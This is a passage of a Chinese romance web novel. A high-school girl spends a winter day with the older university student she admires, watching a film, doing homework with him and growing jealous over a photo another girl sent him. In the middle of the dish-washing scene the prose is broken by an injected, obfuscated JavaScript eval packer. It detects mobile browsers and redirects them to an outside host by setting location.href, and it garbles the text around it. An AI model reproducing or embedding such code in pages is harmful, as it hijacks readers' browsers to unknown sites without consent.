陈历有意吓唬她,装模作样地上下打量着,托着腮,眼神淡淡的:“所以,昭昭是在高中学校里有喜欢的人了吗?” “不是。”宋昭昭否认,她错开他的视线,“我不告诉你。” 她的脸颊微微泛红,与昨天高烧烫红的脸色完全不同,这一次是因为羞赧。 陈历若有所思地盯着她的脸,喉结克制地动了一下。 客厅里沉默半晌,窗外的天色逐渐昏暗,外面的玻璃窗户上贴着两只飞虫,宋昭昭投过视线,看见远处楼房的灯一盏接着一盏亮起来。 宋昭昭思忖了会儿,扭头看过去,眼睛眨巴,状似不经意问:“你怎么不谈?” 视线在半空擦过,又回来。 安静对视的半分钟里,宋昭昭的心忐忑不安,她好像又过界问了不该问的问题。 陈历幽深的眼眸盯着她,半晌后,淡淡地吐出一句:“大人的事情,小孩子少打听。” 26. 第二十六章 26 临近过年,北方下了一场大雪。南方温度骤降,偏偏冻得人直打哆嗦也看不到漫天雪花纷飞的场景。 清晨,树枝头和小区草坪上挂着一层薄薄的白霜,霜花晶莹剔透,踩上去会发出“沙沙”的声响。 宋昭昭站在阳台伸了个懒腰,慵懒地呻吟了两声,左右扭扭头、摆摆胳膊,全身筋骨都随着跃出云层的阳光开启崭新的一天。 没站两分钟,一股寒风将她吹回了房间。 她甩掉拖鞋,瘫到沙发上,随手拽过脚边的毛毯盖在身上,无聊地拨弄手里的遥控器,眼睛一眨不眨地盯着电视屏幕。 早间新闻正在播放昨晚北方城市迎来大范围降雪,镜头扫过的地面已经积起厚厚一层,行人小心翼翼地踩着雪,经过镜头前咧着嘴,开心地比了个“耶”。 宋昭昭忍俊不禁。 她悠悠地叹了口气,艳羡道:“唉——好想去哈尔滨看雪啊!北方好几个城市都下雪了,我也想去踩雪玩。” “去呗。” 闻言,宋母从厨房里钻出来,她提着今早刚去菜场宰好的鸭,拔完毛后,干脆利索地把鸭子塞进黑色塑料袋。 塞完鸭子后,宋母又折身回厨房拎了两块牛肉,装进另一只塑料袋。 宋昭昭扭过头,视线跟随她,悠闲地问了句:“拿这么多?” 宋母点头以示回应,开口将话题拉了回来。 “等你高中毕业之后,咱们计划下,全家去哈尔滨旅游。” “你要真喜欢下雪天,其实可以考虑大学去北方的城市,年年可以看雪。” 宋昭昭郁闷地撇撇嘴,说得轻巧。 北方城市重点大学不少,以她目前的分数,要想紧紧攥住主动权,还远远不够。 这回期末考试,不知是因为考前发烧影响学习状态,还是她确实没跟上高中学习节奏,最后分数不太理想,排名勉强位于中上游。 按照往年的学校成绩排名,她目前能上一所一本大学,但距离陈历就读的985高校相差甚远。 说到底,还是她实力欠缺。 宋昭昭更沮丧了,把他当作试图攀越的高峰,谁知这座山峰遥不可及。 她在沙发上翻了个面,颇有些“咸鱼翻身还是咸鱼”的诙谐。 宋母今天特意起了个大早去市场宰了鸭,买了上好的牛肉,还拎了两箱水果,最后仍觉不够,在楼下超市又提了两箱牛奶。 她如此费心费力地准备礼品,打算今天回风光路,与陈历一家聚餐。 上回他们两位家长工作缠身,出差在外,宋昭昭发烧都是董莲和陈历在照顾,等他们工作结束回家,宋昭昭已经痊愈回学校上课了。 当时他们就念叨着要请客吃饭,董莲给婉拒了,说是最近工作忙,不得闲。更何况两家关系好,互帮互助是应该的,董莲让他们不要破费。 董莲客气,但宋母自认不能少了礼数。 年前,大家工作都忙,聚在一起不容易,好不容易等到春节放假,他们特意选了董莲也休息的日子,决定上门拜访、道谢。 本来今天宋父也去,结果刚刚公司来了电话,有个紧急事件需要处理,事情比较繁琐,或许要忙到明天,他怕赶不回来,遂留下车钥匙,让宋母和宋昭昭先过去。 宋母数了一遍礼品,洗干净手从卫生间出来,边套大衣边冲宋昭昭喊:“行了,你别瘫着了,过来帮忙。” “哦——” 宋昭昭耸耸肩,拉长了语调,关掉电视后,不情不愿地从沙发上爬起来。 其实趁宋母背过身去,早就高高翘起了嘴角,眼角眉梢笑意明显。 - 因为提前和董莲打过招呼,车子开到风光路尽头,对方早早等在楼下。 董莲热情地上前迎接人,看见宋母后备箱塞的大袋小袋的礼品,不禁皱眉道:“哎呀,都说了不要买东西过来,人来就好了嘛!” “拿回去,拿回去!” 董莲把宋母塞进手里的水果放回后备箱,摆摆手让她不要客气。 “都是一番心意嘛,不嫌弃我就好。”宋母重新拎出来,摇摇董莲的胳膊肘,笑眯眯的,“我也没有乱买,吃的喝的,实用又不贵。” 宋母知道董莲先前那一番遭遇,理解她心疼钱的性情,两姐妹似的揽过她的肩膀,软着语调保证:“那下次我空着双手来,好吧,这次先拿着。” 董莲垂下眼眸,心想欠的恩情越来越多了。 三个人提着大箱小箱往楼上走,宋昭昭环顾四周没有看见陈历的身影,走在前面的宋母心有灵犀似的感应到她的疑惑,率先问出口:“阿历呢?” “还在床上睡觉,昨晚凌晨三点才下班。”董莲无可奈何地叹了声气。 “又在兼职工作啊?”宋母眉头微不可察地皱了下眉头,显然是心疼小孩辛苦,“你也劝劝他,小小年纪,不要总是熬夜,太拼了身体遭不住。” “怎么没劝过……” 董莲“唉”了声,苦笑着摇摇头,语气低落:“说到底,还是我们做父母的无能。” 董莲的表情有些怅然,眼见着氛围沉寂得像一潭死水,宋母与宋昭昭对视一眼,忙转了话题:“别这么说,你能带大这么聪明、懂事的孩子,怎么没有功劳?阿历学习那么好,人又有头脑、主见,毕业之后,你就等着享清福吧。” “是啊,莲姨,陈历哥哥当初可是全校第一,他现在读的大学我想考都考不上呢。” 董莲被宋昭昭的话转移了注意力,顺道问起她期末考试情况如何,宋昭昭怔楞了一下,狡黠地眨眨眼:“保密。” “你那点分数,有啥好保密的。”宋母毫不留情揭穿她,冲董莲挤眉弄眼,“只能说还有进步空间。” “妈!”宋昭昭在她身后张牙舞爪,“不许说!” “不说,我还嫌丢人呢。”宋母朝她郑重地点头承诺。 三个人嘻嘻哈哈聊了一路,气氛融洽地走进房间。 进到屋子里,宋母和董莲进到厨房准备今天的午饭,因为陈历还在睡觉,他们全程轻手轻脚,没发出很大的动响。 宋昭昭来的路上心情雀跃,期待中夹杂着一丝丝紧张,不是对镜子整理头发,就是揉搓手掌缓解慌张情绪。甚至没有提前发消息和他打个招呼,就想给个惊喜。 结果好了,人家在房间呼呼大睡,根本体会不到她百转千回的心情。 两位长辈忙忙碌碌,宋昭昭无事可做,攀在厨房门口问需不需要帮忙,宋母想起她之前洗口碗都能给摔碎了,忙不迭摆手。 宋昭昭百无聊赖地在客厅踱步,转了两圈后,躺倒在沙发上玩手机,手指上下滑动,将朋友圈粗略地浏览了一遍。 看得她直犯困,正打完一个哈欠,眼眶中还冒着眼泪花,陈历卧房的门忽地从内打开,她循声望过去。 两个人的视线就这么不期然的在半空中相遇,陈历睡眼朦胧,微眯着眼睛将她上上下下打量了一番,确认来人是谁后,眉目稍稍舒展。 “早啊。” 宋昭昭被他盯得坐立难安,抬起手朝他挥了挥。 已经日上三竿了,哪里早?陈历眼里噙着淡淡的笑意,冲她懒懒地抬了抬下巴。 “早。” 说罢,他扭头往卫生间的方向走去,脚步虚浮,哈欠连连,显然一副没睡醒的模样。 宋昭昭靠在沙发上,目光追随着他的背影。 等待的时间里,她心不在焉地把玩手机,从左手倒腾到右手,又从右手倒回左手,直至脚步声由远及近,身侧的沙发凹陷下去。 她的所有思绪,也跟着陷了下去。 - 陈历打开客厅的电视,安静的空间立即被吵闹的综艺填充。镜头前的人喜眉笑眼,电视机外的人彼此沉默地坐着。 宋昭昭的余光三番两次瞥向他,该如何开启话题呢? 她不是个寡言少语的人,只是每每面对他,伶牙俐齿的表象就跟老房子年久失修的墙皮似的,纷纷剥落下来。 待在他身侧,她仿佛也成了老房子门口那棵伫立的参天古树,被落叶簇拥着,在夕阳下一言不发,只是沉默地望向远方。 “下午有空吗?” 另一棵古树在她绞尽脑汁找话题前率先开了口,他划动着手机,掀眼看她,一副惬意悠然的模样。 宋昭昭缓缓扭过头,像得了颈椎病的患者那般僵硬,直愣愣地问:“怎么了?” 陈历晃晃手机,递到她面前,理所当然地说:“请你看电影啊。上回不是答应过你,等你病好之后,带你出去玩。” 宋昭昭凑上前,仔细看了眼屏幕上停留的页面,显示的是一部喜剧电影,主演都是眼熟且她有好感的演员。 他居然主动提出带她去看电影诶! “吼,我当然有空。”宋昭昭恍然大悟,继而望向他,“你呢?不兼职吗?” “放假了。” 陈历收回手机,不紧不慢地说。 静了一瞬,宋昭昭忽然神情严肃,目光直勾勾地盯住他,很认真地问:“上大学要花很多钱吗?” 陈历扬眉,沉默地望着她,似乎在疑惑她何出此言。 宋昭昭视线不自然地往地板一瞟,转回来正视他:“莲姨说你昨晚到凌晨三点才回家,我以为你那么拼命赚钱,是……遇到什么困难了吗?” “没有。” 陈历的回答很简洁。 没有遇到困难,那他为什么使出牛劲兼职打工,很缺钱花?还是他在外面贷款欠债了?新闻上不都说有些大学生手头紧,会在网上借贷,甚至不惜…… 宋昭昭看向他的眼神逐渐变得古怪。 陈历点击购买电影票,付完款之后,便看见宋昭昭紧紧盯着他,眼神里有几分审视。 “干嘛这样看我?”他问。 宋昭昭开门见山:“你该不会借裸贷了吧?还不上就把你照片公布在网上的那种。” 话音落时,陈历正巧在吞咽口水,被她无厘头的问题呛的猛咳了好几声,他不可置信地哼笑一声,无语地瞪向她。 宋昭昭不甘示弱,梗着脖子与他对视。 陈历气笑了,语气依旧温柔:“脑子里想的都什么玩意儿!” 宋昭昭翻了个白眼,回嘴:“明明是你的行为很奇怪,好不好?” 陈历看着她:“赚钱很奇怪吗?” “不是赚钱奇怪,是你拼命赚钱很奇怪。”宋昭昭纠正他的说法,“按理说,莲姨给你的生活费不低,你如果没有大花销,完全够吃够用。就算兼职想攒点零花钱,但也不至于工作到凌晨三点。” “陈历,身体是革命的本钱,没必要这么造。” 又一次直呼其名。她说得语重心长,担忧从她拧起的眉头里溢了出来,陈历当真有一股被教育了的错觉。 心里暖洋洋的,好像自己从来都被人珍视,不是那个被不负责的父亲随便抛下的孩子。 陈历的手指有节奏地敲着沙发,他默不作声地看向宋昭昭,思忖着要不要向她坦白。 沉默的对视了片刻,陈历扭过头往厨房瞄了两眼,里面的人并没有注意到外面的动静,他才放低声音解释:“别瞎想,我没在外面乱来。” “兼职是因为我想存钱,存钱是因为毕业之后可能会去创业,有备无患。” 宋昭昭沉吟片刻,手指抠着指甲肉,创业应该需要一笔很大的启动资金,难怪他从来不给自己留休息的时间。 精神时刻紧绷着,会很累吧。 她抿抿唇,表情明显是心疼了,薄唇轻启,一本正经地问:“那你存够了吗?” 陈历登时笑了笑:“怎么,想投资还是想帮我?” 话音落,客厅静了下来,唯有厨房传来细碎的说话声和断断续续的笑声。 冬日的阳光柔润明亮,从窗外斜斜地打进来,冷风吹拂, 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宋昭昭努努鼻子,小声嘀咕:“毕竟,毕竟……” 脸上阴郁的脸色一闪而过,陈历知她好心,并未计较。见她一脸为难,截断了她的话,轻描淡写道:“这回期末考试考了多少分?全校排名多少?” 语气很平静,神色淡淡的,但这其中有细微的差别,被宋昭昭捕捉到。他应该是听懂了她的欲言又止。 所以,他生气了吗? 宋昭昭暗自叫糟,朝他讪讪一笑:“和你比,肯定是差太远了。不过……” 她连忙举手投降,声音抬高了八度:“不过我这才是第一学期,还有很大进步的空间,给我点时间!” 语气里有求饶的意味。 “给你时间做什么?闪耀全世界吗?”陈历弯了下眉眼,打趣道。 方才沉闷的气氛被轻轻松松揭了过去,宋昭昭小心翼翼地掀眼看他神色,骑驴下坡道:“嗯,到时定会让你眼前一亮!” “且等着吧。” 说着,她自信地昂起下巴,眼神澄澈明亮。 - 吃过午饭,四个人坐着聊了会儿天,坐上宋母的车一齐出门。 放陈历和宋昭昭在电影院门口下车,宋母和董莲开车前往附近的商场逛街,两个女人凑在一块儿,逛街是最好的消遣方式之一。 陈历选的是一部喜剧片,他们坐在倒数第四排最中间,视野相对较好。 整部影片没什么特别大的逻辑漏洞,梗特别密集,笑点也紧凑,全场观众看得嘎嘎乐,观影感受还算不错。 唯一令人尴尬的是,他们前排坐了一对非常开放的小情侣,途中牵牵小手、揽揽肩膀,趁着众人捧腹大笑、无人关注的时候深情接吻,“啵啵”的响声在众人开怀大笑的间隙钻入宋昭昭的耳朵。 她垂下眼,视线不自然地在情侣身上流转。 自从亲眼见证他们旁若无人的接吻之后,宋昭昭开始坐立难安。 尴尬—— 有一种撞破他人秘密的难为情,她想不明白,公共场合做这些过于私密的事情,当事人真的不会脸红害臊吗? 宋昭昭尴尬的脚趾扣地,余光都不敢往陈历的方向瞟。 与此同时,陈历察觉到她紧绷的身体,微蹙的眉头,无处安放的眼神,全身上下散发着违和的局促感。 他瞥她一眼,肩膀往她的方向靠过来。 放映厅灯光昏暗,屏幕上发出的微光不足以照到她因害羞而泛红的脸颊。宋昭昭的心脏抑制不住“噗通、噗通”,随着电影的背景音乐上下起伏,逐渐加速。 陈历附在她耳畔,悄声问:“怎么了?” 宋昭昭不吭声,目不斜视地朝他面前的情侣抬了抬下巴,正巧此时,对方又急不可耐地互相对嘴亲了一下。 那个轻轻触碰又旋即离开的吻,就这么留在了他们心上。 此类场面,陈历早已见怪不怪。 大学宿舍楼下,尤其女生宿舍,每到夜晚男女朋友分离时,总能见到千篇一律的牵手、拥抱、接吻。 他们学校的男生宿舍在女生宿舍后面一排,每次回宿舍路上都会经过女生宿舍。刚开始撞见,身边的同学还会起哄、尖叫、挤眉弄眼,次数多了之后,大家已经习以为常,能做到目不斜视地走过。 更何况成年之后,男女之间的感情已经不局限于简单的身体触碰,爱情可以有很多表达,在保护好自己的同时,成年人已经开始进一步探索。 陈历没谈过恋爱,但他见过猪跑。 尤其舍友周末外宿回来,满面春风,一脸洋洋自得。闲聊时有意无意地透露恋爱细节,他并没有兴趣参与讨论,不过那些细枝末节就这么自然而然的传到他的耳朵里。 追求的花招、心思,撩人的技巧、手段…… 他好歹是二十出头的青年人了,怎可能对男女之事一无所知,只是平常相对漠然罢了。 舍友们接二连三开始谈起恋爱,有的人甚至已经分分合合好几个来回,然后陈历依旧跟苦行僧似的独来独往,面对女生的追求摇头拒绝。 一次两次,舍友觉得正常,谈恋爱嘛,肯定得找个互相看对眼的,更何况陈历自身条件本来就不错,不能是个女的就接受。 三次四次,大家也向着他说话,感情讲究缘分,喜欢最重要。 到了后面,陈历面对一波接一波的追求者,仍旧摇头婉拒。 舍友越发费解,照他的外在和内在条件,不应该单身多年啊,他们怀疑起他的性取向,旁敲侧击问他是不是遭受过情伤。 陈历听罢,哭笑不得地解释:“性取向为女,没谈过恋爱,也没受过情伤。” 舍友面面相觑,半信半疑地与他对视,百思不得其解道:“那为什么不谈?” 为什么不谈?陈历笑而不语。 可能,他在等一支茉莉长大。 27. 第二十七章 27 抬完下巴之后,宋昭昭身侧的人没了动静,她扭过头,看见陈历的目光正无焦点地停留在前面的椅背上,她吃味地哼了一声。 “非礼勿视啊,陈历同学。”宋昭昭耐人寻味地悄声说道。 陈历哥哥,陈历,陈历同学……她对他的称呼倒是越来越多变了。 陈历勾了勾嘴角,黑暗中悠然地望向她:“不是你示意我看的吗?” 倒打一耙! 宋昭昭朝他龇牙咧嘴,不打算搭理他的强词夺理,侧过身正要继续观影,前面的小情侣又一次做出令人匪夷所思的举动。 女生把脑袋轻轻地搁在男生的肩膀上,微微抬起头。 男神垂下眼睛,湿润的双唇从她的眉眼一路亲到嘴巴,就此停下,紧接着用舌头撬开女生的嘴巴,尽兴地深入探索。 宋昭昭瞠目结舌。 她犹记得半年前的夏天,市民广场一旁的小巷子里,无意中看见一对情侣在墙下偷欢,当时夜色正暗,她离得有些距离,看见模模糊糊的轮廓,愣在原地,进退两难。 当时车辆旁经过三三两两的行人,角落里情侣忘我地亲吻,并不容易被人发现。 然而今天,在电影院这么封闭、昏暗的公共空间里,居然会有人胆大妄为到旁若无人地接吻? 宋昭昭紧急闭上双眼,呼吸随着对方的喘息声渐渐紊乱了。 慌张之中,她抬手去拿一旁的奶茶解渴,想借此缓解尴尬,谁料手掌在放置奶茶的位置上反复摸索,都没有碰到奶茶杯子。 她觉得奇怪,别过头去看,发现她要找的奶茶被陈历捧在手里。 “干嘛?” 陈历无辜地眨了下眼,递回奶茶,毫无歉意地道歉:“不好意思,拿错了。” 宋昭昭眉尾微微一颤,狐疑地望向他。 陈历一脸坦然,甚至“哪壶不开提哪壶”的悠悠问道:“你都盯着他们看了好一会儿,摸出点门道没有?” 宋昭昭的脸更红了,从脸颊烧到耳廓,身体随着影厅内的暖气渐渐升温。她咬着吸管喝了两口奶茶,佯装淡定道:“没学会,不然你……” 话立即止住了,宋昭昭干脆利落地扭过头,眼睛一眨不眨地盯着大屏幕。 陈历的视线,不由自主地从她的眉眼悄然移至那瓣红润、丰满的嘴唇,目光顿了顿,再漫不经心地移开。 宋昭昭抿着唇一言不发,看似全神贯注地观影,其实在心底默默地把刚才那句未说出口的话补充完整。 没学会。 下一句是,不然你教我。 - 电影散场后,他们跟随人流走出影厅。 打电话问过母亲才知道,她们正在附近的商场逛街,两个人估计都在兴头上,电话那端传来销售员不约而同的称赞,宋母跟她叮嘱了两句,招呼都没打就挂断了电话。 宋昭昭仰头问:“我们要过去找她们吗?” 陈历耸肩,不以为意:“为什么要去找她们?我准备去书店买两本书,你去吗?” “好吧。” 宋昭昭屁颠屁颠地跟上他的脚步,因为好奇他在大学里的生活,于是一蹦一跳地发问。她的问题多如牛毛,以至于陈历没忍住“噗嗤”笑了出来。 “怎么会有那么多问题?” “你是《十万个为什么》吗?还是准备出一本《百科全书》?” “问问呗。” 宋昭昭紧紧缠着他,接二连三地向他抛来问题,问完之后期待的眼睛亮晶晶地守着他,等他解答。 “你挑几个回答一下,又不少块肉。” “既然这么感兴趣,不如你亲自去读。”陈历啧啧两声,与她玩笑。 宋昭昭下意识反驳:“没说我不去啊。” 见陈历不说话,宋昭昭挠挠头,她瞟了眼陈历的脸色,不好意思地干笑两声:“虽然说我现在离你那所学校的分数还有一定差距,不过高中三年时间,我还有机会。” “我会努力!” 最后一句说得斩钉截铁,像是在表明某种决心。 街道上寒风呼啸,尤其刺骨。 南方城市降温之后,在室外走一小段距离,但凡是裸露在外的肌肤,上上下下定会冻得通红,人亦禁不住瑟瑟发抖。 陈历深深地看了眼宋昭昭,丢下一句“想考就加倍努力”,捂紧了外套,头也不回地朝书店走去。 走出几米后,回头,发现宋昭昭还立在原地。 他无奈地叹了口气,又返回拎着宋昭昭的外套领子,将她往前提溜,正色道:“填志愿不能随便,等高考出分之后,我帮你参考。” “不要乱来。” 宋昭昭略一松怔。 他话里话外的意思,是在拒绝他们成为同校师兄妹吗? 她别过头盯着他的侧眼,眼神明显黯淡。 等两人双双来到书店门口,陈历才松开手,帮她轻轻抚平领子上的褶皱,弯腰俯身与她对视,语重心长道:“挑选专业和高考同样重要,不要擅自做决定。” “当然,如果你把我的学校当作目标,能帮得上忙的地方,我定竭尽所能,希望你能如愿考出高分。” 他真挚而明亮的目光,验证了他所说的并非是客套话。 陈历的手还搭在她的肩膀上,见她毫无反应,他往下压了压。 宋昭昭撅起嘴巴,拍开他的手,不以为意道:“说不定我到时候考得比你还好呢。” 说罢,她头也不回地开门进入书店。 陈历紧随其后,乐不可支地应声:“这小孩,还挺臭屁!” - 在太阳落山以前,宋母开车接回了两个小孩。回家之后,董莲开始用砂锅炖煮鸭子。 这只鸭子是早上现杀的,还很新鲜,不老不嫩,份量重,炖煮得久一些,肉质更软烂,汤汁也更营养。 两小孩挤进厨房,询问需不需要帮忙,宋母抽空斜他们一眼,毫不留情地赶他们出去:“走走走,都别来捣乱。” 无法,宋昭昭哀嚎一声,被陈历押去卧房的书桌前,端坐着阅读今天下午刚买的书。 陈历买了好几本书,有法律相关的专业解析,也有名人传记、历史书籍,顺带给宋昭昭挑了两本习题册。 宋昭昭仰天长叹,顺着他的手把习题册推了回去,不领情:“其实你不用对我客气。” 陈历眼皮都懒得掀一下,不紧不慢道:“我喜欢助人为乐。” 宋昭昭瞪他一眼,默默腹诽:但我并不喜欢接受。 抗议无法,等吃饭的细碎时间里,她还是被迫在书桌前写了几页题。 夕阳西斜,在天色未完全暗下去的前半个小时,天空中出现一片魅惑的蓝,与隐约的黑交织着,夜幕静谧而悠远。 那是一天中极为难忘又美丽的瞬间。 宋昭昭转动着手里的笔,支着脑袋,思绪不由飘向窗外面的天际,喃喃:“好漂亮哦。” 闻言,窝在床头看书的陈历,掀开眼懒懒地瞧了她一眼,又顺着她的视线抬头。 透过四四方方的玻璃窗,他一言不发地望向天空。 天幕中看不见飘移的云絮,澄净而深邃的蓝缓慢地压下来,天地仿佛辽阔的海洋,此时此刻的人们全部成了不会吐泡泡的鱼,也可能是珊瑚,水母。 摇曳的枝叶是随波浪晃荡的海草,横生的枝干挡住飞鸟的去路,孤零零的风从枝叶的缝隙中穿插而过。 待远处楼房的灯一盏盏亮起,千家万户飘出炊烟,天色才真正暗下来。 海水一般的蓝消失了。 陈历“啪”地按下了床头灯,明亮的灯光让他们同时下意识眯起眼眸,他揶揄道:“习题册拿过来,我检查一下你做得漂不漂亮。” “……” 心不在焉做题,自然错误百出。 宋昭昭心虚地低下头,瞥了眼陈历阴沉的脸,他正在批改她做的题目,眉头紧锁,似有一通怒火急需从火山洞中爆发出来。 她没见过他生气发怒的样子,光是想象都觉得可怕,恐怕到时会是一副灰飞烟灭、万物俱寂的模样。 鸡汤炖好,宋母和董莲还炒了一盘小青菜、红烧鸡翅和肉沫茄子,煲鸡汤的砂锅刚端出厨房,香味就已经溢到卧房。 肚子适时地“咕噜”叫了两下,宋昭昭摇摇他的手臂,放低声音:“她们在叫吃饭呢,别看了,先吃饭。” “啧。”陈历斜眼。 宋昭昭埋头,一副洗耳恭听的温顺模样。 态度摆得端端正正,看起来挺惧怕陈历的。 宋昭昭想起当初陈历辅导她做题,她见识过他的较真,现在想来犹如噩梦。 实话实说,她特别怕陈历让她反复订正错题,一种题型翻来覆去地做,炒冷饭似的炒到她吐,才肯罢休。 宋昭昭瘪嘴,痛苦地闭上了眼睛。 这一幕生动的小表情被陈历捕捉到,他失笑:“这么怕我?” “没!”宋昭昭脸不红心不跳地否认。“只是饿了。”谎言信手捏来。 陈历拿她没有办法,哭笑不得地放下课本,说:“走吧,吃饭去。” - 四个人坐到餐桌前,陈历这回在她左手侧,宋昭昭再不能跟以前那样,抬个头就能对上他的眼睛。 这回,她的余光频频往左瞟。 饭桌上其乐融融,八卦消息在两位母亲口中传递着,宋昭昭喝着汤,竖起耳朵聆听。 聊着聊着,话题不知怎么就转到今早宋昭昭在家里说的那一句“想去北方看雪”,宋母看向陈历:“阿历,康平应该也下雪了吧。” “下了。” 他在康平市的大学读书,读的法学专业,985高校,五院四系之一。 班级里大约有五分之一康平本市的同学,今天一早,就看见他们在朋友圈分享下雪的照片和视频。 “雪下得大吗?有没有积起来?能到人体哪个部位啊?” 聊到他所在大学城市的天气情况,宋昭昭的注意力立马集中过来,她勺着汤,问题一个接一个抛给他。 陈历话不多说,直接打开手机,翻到朋友圈,把手机放到桌面推到她面前,抬抬下巴:“你自己看吧,我同学发了很多,往下多翻翻。” 不止同学。 读大学两年多的时间,参加竞赛、社团等活动,添加了不少人的联系方式。 因为学校在北方,相比较之下,校园里北方同学占大多数,一场雪直接让他们在朋友圈和群里“团建”了。 朋友圈其实挺私密的,尤其直接把手机交给别人。 宋昭昭扪心自问,就算是亲密的朋友,譬如陈蓓,提出想拿她的手机刷朋友圈,她可能都会犹豫考虑。 陈历居然这么放心大胆地让她随便翻看? 他是有多不在意,还是有多信任她…… 宋昭昭吃完饭,边喝鸡汤边划拉他的手机,从上翻到下,确如他所说,朋友圈里不少人分享下雪的康平市。 不止康平,他的大学同学来自天南地北,北方人占据大多数,其中夹杂着哈尔滨、吉林等地的雪景。 她看得兴致勃勃,满面笑容。 刚看完一页,准备继续往下划拉,手机顶端突然跳出一条消息,挡住了她的视线。 宋昭昭顺手想把那条消息划走,不料手指不小心戳到它—— 页面跳转到微信聊天界面的对话框。 宋昭昭的手顿在半空,垂眸瞥了眼跳进来的消息,是两张雪景图。 一张白茫茫的天地,矗立的树梢上挂满了厚厚一层雪。另一张是一个女生露出半张脸的自拍照,照片背后是她堆积的小雪人。 她无意窥探别人的聊天记录,这属于隐私,因而哪怕再震惊好奇,她都没有点开大图。 只是看到照片之后,宋昭昭的思绪变得一顿一顿的,心脏莫名其妙地抽搐了下,有些酸涩,她的视线缓慢上移,看见对方的备注—— 施岑雅。 她是谁?他的大学同学? 一位女生,在过年放假期间,发了雪景和自拍照给男生,是出于分享还是另有目的? 或许,她们对待陈历,是一样的心思。 宋昭昭的心一瞬间凉了下去,她面无表情地退出微信,合上手机,将它放在桌面上推了回去。 陈历喝着鸭汤,并没有注意到她急转直下的心情,乖顺地回应宋母和董莲的问话。 宋昭昭低低地埋下头,神色黯淡,指尖无意识地摩挲着汤匙。 时间久了,她的沉默引起陈历的怀疑,他若无其事地伸长手臂,去够放在她右手侧的纸巾,视线直勾勾盯着她。 她的头埋得更低,有意无意错开他询问的眼睛。 饭桌上交谈甚欢,宋昭昭的思绪像一颗丢进水塘的石头,悄无声息地、慢慢地沉了底。 - 吃过晚饭,两个小孩留在厨房洗碗。 厨房里的烟火气有点重,宋昭昭把窗户推开一条缝,冷风“嗖”的一下从那条细窄的缝隙溜了进来。 鬓角的碎发被吹得往眼睛上拍打,宋昭昭忙往左挪步,吐出一口气。 他们分工明确,陈历负责打泡沫,用抹布将碗里的油渍抹干净,宋昭昭的活比较轻松,接过抹得锃亮的碗,再用清水淋洗一遍。 时间在厨房里流淌得缓慢,井然有序的分工,让洗碗这项枯燥乏味的家务活变得没那么难以接受。 只是一个递碗,一个接碗,湿沥沥的手不时碰撞到一块,宋昭昭注意力涣散,每次触碰都大惊小怪地缩回手,再怯怯地拿过碗。 厨房的暖光笼罩住两个人,正对面的玻璃窗户倒映出他们的身影,她盯了一会儿,脑海中好几次浮现出对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405680|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话框里那张自拍照。 女孩子身穿白色羽绒服,和白雪皑皑的天地融为一体,全身最鲜亮的应该是绕在她脖子上那条蓝色围巾,衬得她肌肤光滑雪白,好似剥了壳的鸡蛋。 女生化了淡妆,卷翘的睫毛,圆溜溜的眼睛,笑起来灿烂明媚,身后的雪景都成了衬托,她美得让人挪不开眼睛。 虽然一直有“陈历如此亮眼,围绕在他身边的女生应该也很优秀”的认知,但这一回,所有猜想都被印证。 宋昭昭第一次有了如此真切的实感。 她犹豫片刻,想告诉他刚才女生发来的照片,然而每次张开口,心里就跟被针扎似的,密密麻麻的刺痛感席卷全身。 她难受得眉心微微一蹙。 窗户上,陈历的肩膀微微向她倾斜,递在半空中的碗始终没等到宋昭昭伸手来接,他疑惑地扭过头,问:“怎么了?” 眼皮忽然猛地跳了一下。 宋昭昭甩了甩碗壁的水渍,尽量以漫不经心的语气回应:“就是突然想去北方看雪了。” “为什么?感觉你好像对看雪很执着。” 陈历的袖口挽上去,露出一截细白的手腕,他见宋昭昭动作慢慢吞吞,也不催促,索性自己拧开水龙头,一丝不苟地淋着碗。 他干活细致,一口碗被他洗得干净无瑕,光亮如新。 “大概是南方很少有下雪的天气,因为稀有,所以稀罕。” 宋昭昭声音飘渺,像一缕附在窗户上薄薄的雾气,温度升高后它便能蒸发得毫无踪迹。 陈历点头,似是赞同她的言论。 “刚刚……” 宋昭昭决心同他坦白,微张嘴巴,酝酿着该以哪种语气把女生发他照片的消息转告他。 偏巧此时,客厅传来宋母的呼喊声。 “昭昭,昭昭。” 紧接着,门口传来仓促的脚步声,宋昭昭卡在喉咙里的话被打断,她回过头,对上宋母趴在门框上的身子,问:“怎么了?” “你爸刚打来电话,说今晚还要在公司值班。”宋母喜形于色,朝她眨眨眼,“不然我们等会儿回家收拾一下,今晚就住风光路了,行吗?” 宋母口中的家,是正对门他们的老家。自八月底搬走以后,他们就没回来住过。 饭桌上宋父常提起,说既然是老家,那一年至少得回去住个两三天,给老房子增添点人气、烟火气。 毕竟房子长久不住人,容易损坏,老得快。 既然今天已经回到风光路,不回自家住一晚,确实说不过去。 宋昭昭自然巴不得住下,多住几天才好呢。 但她很好地压制住雀跃欢喜的心情,楞了几秒,假装思索,随后点点头,若无其事道:“我都行,随便。” 宋母脸上洋溢着喜庆的笑容:“那我先回去收拾卫生,铺个床。” 此言一出,董莲也放下手头的事,跟过来说:“走吧,我帮你。” - 晚上躺在床上,宋昭昭刷了会儿短视频,无论是新闻媒体还是素人博主,都在分享今日下的大学,比往年来得更猛烈。 有人专门录了踩雪的声音,视频做过降噪,只留下踩在细软的、堆积到脚踝的雪地上,发出轻微“嘎吱嘎吱”的声响,网友纷纷在视频底下留言—— “今晚助眠的素材有!” “好好听啊老师,你怎么想到录踩雪声音的,从来没想过这类声音会这么戳我!” “本南方人实名羡慕,这就买票赶来!” 宋昭昭划拉了一会儿评论区,默默地点了个赞。 平常她最爱凑这份热闹,有些网友造梗就跟吃饭一样信手捏来,逗得人捧腹大笑。 只是……明明今早看见雪天她还兴致盎然,但无意瞧见那两张照片之后,她的情绪始终恹恹的。 她在床上打了个滚,喃喃:“施岑雅……施岑雅……” 好漂亮的女孩子,她和陈历到底是什么关系? 对门。 